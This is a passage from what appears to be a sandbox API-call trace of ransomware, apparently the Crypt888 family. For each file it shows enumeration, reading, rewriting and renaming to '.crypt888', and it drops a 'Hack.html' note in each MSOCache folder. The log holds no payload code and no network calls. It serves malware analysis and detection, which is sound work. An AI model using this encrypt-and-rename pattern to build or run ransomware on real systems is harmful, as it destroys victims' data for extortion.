lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb8f8c3a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0066.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.729] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.crypt888")) returned 1 [0066.729] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.729] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.730] GetFileType (hFile=0x258) returned 0x1 [0066.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.730] GetFileType (hFile=0x258) returned 0x1 [0066.730] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x648 [0066.730] ReadFile (in: hFile=0x258, lpBuffer=0x277f024, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x277f024*, lpNumberOfBytesRead=0x39ed58*=0x648, lpOverlapped=0x0) returned 1 [0066.735] CloseHandle (hObject=0x258) returned 1 [0066.753] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.754] GetFileType (hFile=0x258) returned 0x1 [0066.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.754] GetFileType (hFile=0x258) returned 0x1 [0066.754] WriteFile (in: hFile=0x258, lpBuffer=0x27ceea8*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27ceea8*, lpNumberOfBytesWritten=0x39ed1c*=0x650, lpOverlapped=0x0) returned 1 [0066.755] CloseHandle (hObject=0x258) returned 1 [0066.756] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.756] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0066.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.756] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb8fd8660, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x650)) returned 1 [0066.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.757] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0066.757] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0066.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0066.757] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0066.757] GetFileType (hFile=0x258) returned 0x1 [0066.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0066.758] GetFileType (hFile=0x258) returned 0x1 [0066.758] WriteFile (in: hFile=0x258, lpBuffer=0x27d18d0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27d18d0*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0066.759] CloseHandle (hObject=0x258) returned 1 [0066.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.759] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.759] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.759] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0066.772] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.773] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.773] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.773] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.773] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.773] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.773] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0066.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.774] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.774] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.774] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0066.775] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.776] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.776] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.776] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.776] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.776] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.777] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0066.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.777] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpFilePart=0x0) returned 0x4d [0066.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.778] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.782] GetFileType (hFile=0x258) returned 0x1 [0066.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.782] GetFileType (hFile=0x258) returned 0x1 [0066.782] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xc72 [0066.782] ReadFile (in: hFile=0x258, lpBuffer=0x27d5b94, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27d5b94*, lpNumberOfBytesRead=0x39ed58*=0xc72, lpOverlapped=0x0) returned 1 [0066.792] CloseHandle (hObject=0x258) returned 1 [0066.814] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpFilePart=0x0) returned 0x4d [0066.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.815] GetFileType (hFile=0x258) returned 0x1 [0066.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.815] GetFileType (hFile=0x258) returned 0x1 [0066.815] WriteFile (in: hFile=0x258, lpBuffer=0x2827924*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2827924*, lpNumberOfBytesWritten=0x39ed1c*=0xc80, lpOverlapped=0x0) returned 1 [0066.816] CloseHandle (hObject=0x258) returned 1 [0066.822] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml", lpFilePart=0x0) returned 0x4d [0066.822] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.crypt888", lpFilePart=0x0) returned 0x56 [0066.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.822] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9070be0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc80)) returned 1 [0066.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.823] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.crypt888")) returned 1 [0066.823] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.823] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.824] GetFileType (hFile=0x258) returned 0x1 [0066.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.825] GetFileType (hFile=0x258) returned 0x1 [0066.825] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x106f [0066.825] ReadFile (in: hFile=0x258, lpBuffer=0x2828c84, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2828c84*, lpNumberOfBytesRead=0x39ed58*=0x106f, lpOverlapped=0x0) returned 1 [0066.836] CloseHandle (hObject=0x258) returned 1 [0066.857] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.858] GetFileType (hFile=0x258) returned 0x1 [0066.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.858] GetFileType (hFile=0x258) returned 0x1 [0066.858] WriteFile (in: hFile=0x258, lpBuffer=0x287ac7c*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x287ac7c*, lpNumberOfBytesWritten=0x39ed48*=0x1070, lpOverlapped=0x0) returned 1 [0066.859] CloseHandle (hObject=0x258) returned 1 [0066.860] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.860] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0066.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.861] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb90bcea0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1070)) returned 1 [0066.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.861] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0066.862] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0066.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0066.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0066.862] GetFileType (hFile=0x258) returned 0x1 [0066.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0066.862] GetFileType (hFile=0x258) returned 0x1 [0066.863] WriteFile (in: hFile=0x258, lpBuffer=0x287d830*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x287d830*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0066.864] CloseHandle (hObject=0x258) returned 1 [0066.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.864] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.864] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.864] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a268 [0066.865] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.865] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.866] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.866] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.866] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.866] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.866] FindClose (in: hFindFile=0x59a268 | out: hFindFile=0x59a268) returned 1 [0066.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.866] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.866] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.867] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a268 [0066.867] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.867] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.867] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.867] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.867] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.868] FindNextFileW (in: hFindFile=0x59a268, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.868] FindClose (in: hFindFile=0x59a268 | out: hFindFile=0x59a268) returned 1 [0066.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.868] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.868] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.869] GetFileType (hFile=0x258) returned 0x1 [0066.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.869] GetFileType (hFile=0x258) returned 0x1 [0066.869] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x978 [0066.870] ReadFile (in: hFile=0x258, lpBuffer=0x28816c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x28816c8*, lpNumberOfBytesRead=0x39ed58*=0x978, lpOverlapped=0x0) returned 1 [0066.880] CloseHandle (hObject=0x258) returned 1 [0066.903] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, 